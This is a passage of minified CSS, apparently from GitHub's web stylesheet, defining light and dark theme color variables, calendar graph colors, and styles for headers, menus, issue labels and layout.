0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none 